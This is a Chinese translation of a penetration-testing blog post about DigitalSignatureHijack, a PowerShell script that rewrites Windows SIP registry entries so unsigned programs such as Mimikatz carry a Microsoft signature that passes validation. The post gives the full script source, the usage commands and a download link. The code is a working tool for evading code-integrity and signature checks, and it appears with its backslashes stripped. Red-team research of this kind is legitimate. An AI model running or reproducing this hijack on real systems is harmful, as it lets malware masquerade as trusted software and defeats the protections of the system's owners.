劫持數字簽名"洗白"惡意程序
劫持數字簽名是一種可用於繞過設備保護限制,以及在red team評估過程中隱藏自定義惡意軟體的技術。Matt Graeber在他的研究中發現了如何繞過數字簽名散列驗證的方法,並且在他發布的文章中詳細描述了所有的細節。基於這些信息,Digital SignatureHijack腳本的開發是為了使這項技術完全自動化。前面的文章已經描述了有關劫持數字簽名的更多信息。
一般信息
DigitalSignatureHijack基於PowerShell編寫,可以從具有管理許可權的PowerShell控制台執行。這個想法是通過只執行四個命令來快速地對PowerShell腳本和可移植可執行文件進行數字簽名而來的。
命令
該腳本接受以下命令:
· SignExe – 數字簽名的PE可執行文件
· SignPS – 數字簽名PowerShell腳本
· ValidateSignaturePE – PE可執行文件的簽名驗證
· ValidateSignaturePS – PowerShell腳本的簽名驗證
依賴
DigitalSignature-Hijack依賴於Matt Graeber開發的自定義SIP(Subject Interface Package)dll文件。因此,需要將其存儲在目標系統的某個位置,並且需要使用該DLL文件的新位置來更新腳本,否則註冊表劫持將不起作用。
· 編譯版本的MySIP.dll
· MySIP DLL的源代碼
演示
以下是可用於對主機上存在的所有PowerShell腳本和PE可執行文件進行數字簽名的命令列表。
Import-Module .DigitalSignature-Hijack.ps1nSignExenSignPSnValidateSignaturePEnValidateSignaturePSn
對二進位文件進行簽名:
Mimikatz是一個可以從內存轉儲憑據的二進位程序。它不是Windows的一部分,也不是由微軟數字簽名的可執行程序。
執行SignExe命令後,Mimikatz就帶有了微軟官方驗證可通過的證書。
簽名驗證:
劫持合法的證書將會出現散列不匹配的錯誤,因此數字簽名將無法驗證。
執行ValidateSignaturePE命令將正確驗證存儲在系統上的所有PE可執行文件的數字簽名散列。
簽署PowerShell腳本:
DigitalSignature-Hijack PowerShell腳本未簽名。因此,在實施設備防護UMCI(用戶模式代碼完整性)的情況下,需要對其進行簽名。
執行命令SignPS將為Microsoft PowerShell腳本提供一個Microsoft證書。
簽名驗證:
與PE可執行文件一樣,Microsoft也正在對PowerShell腳本的數字簽名進行散列驗證。
執行命令ValidateSignaturePS將繞過散列驗證,因此數字簽名將顯示為有效。
下載
DigitalSignatureHijack腳本可以在以下位置中找到:
· 數字簽名劫持
· https://github.com/netbiosX/Digital-Signature-Hijack
源代碼
<# n DigitalSignatureHijack v1.0 n License: GPLv3 n Author: @netbiosX n#> n# Validate Digital Signature for PowerShell Scripts nfunction ValidateSignaturePS n{ nt$ValidateHashFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllVerifyIndirectData nt# PowerShell SIP Guid nt$PSIPGuid = {603BCC1F-4B59-4E08-B724-D2C6297EF351} nt$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc$PSIPGuid" nt$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dll nt$NewFuncName = AutoApproveHash nt$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll nt$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName n} n# Validate Digital Signature for Portable Executables nfunction ValidateSignaturePE n{ nt$ValidateHashFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllVerifyIndirectData nt# PE SIP Guid nt$PESIPGuid = {C689AAB8-8E78-11D0-8C47-00C04FC295EE} n$PESignatureValidation = Get-Item -Path "$ValidateHashFunc$PESIPGuid" nt$NewDll = C:WindowsSystem32ntdll.dll nt$NewFuncName = DbgUiContinue nt$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll nt$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName n} n# Sign PowerShell Scripts with a Microsoft Certificate nfunction SignPS n{ nt$GetCertFunc = HKLM:SOFTWAREMicrosofteCryptography +OIDEncodingType 0CryptSIPDllGetSignedDataMsg nt# PowerShell SIP Guid nt$PSIPGuid = {603BCC1F-4B59-4E08-B724-D2C6297EF351} nt$PEGetMSCert = Get-Item -Path "$GetCertFunc$PSIPGuid" nt$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dll nt$NewFuncName = GetLegitMSSignature nt$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll nt$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName n} n# Sign Portable Executables with a Microsoft Certificate nfunction SignExe n{ nt$GetCertFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllGetSignedDataMsg nt# PE SIP Guid nt$PESIPGuid = {C689AAB8-8E78-11D0-8C47-00C04FC295EE} nt$PEGetMSCert = Get-Item -Path "$GetCertFunc$PESIPGuid" nt$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dll nt$NewFuncName = GetLegitMSSignature nt$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll nt$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName n}n
本文翻譯自:https://pentestlab.blog/2017/11/08/hijack-digital-signatures-powershell-script/ ,如若轉載,請註明原文地址: http://www.4hou.com/technology/8588.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※ZoomEye 的網站指紋是什麼概念,如何應用?
※有什麼逆向程序流程的技巧?
※URL編碼
TAG:信息安全 |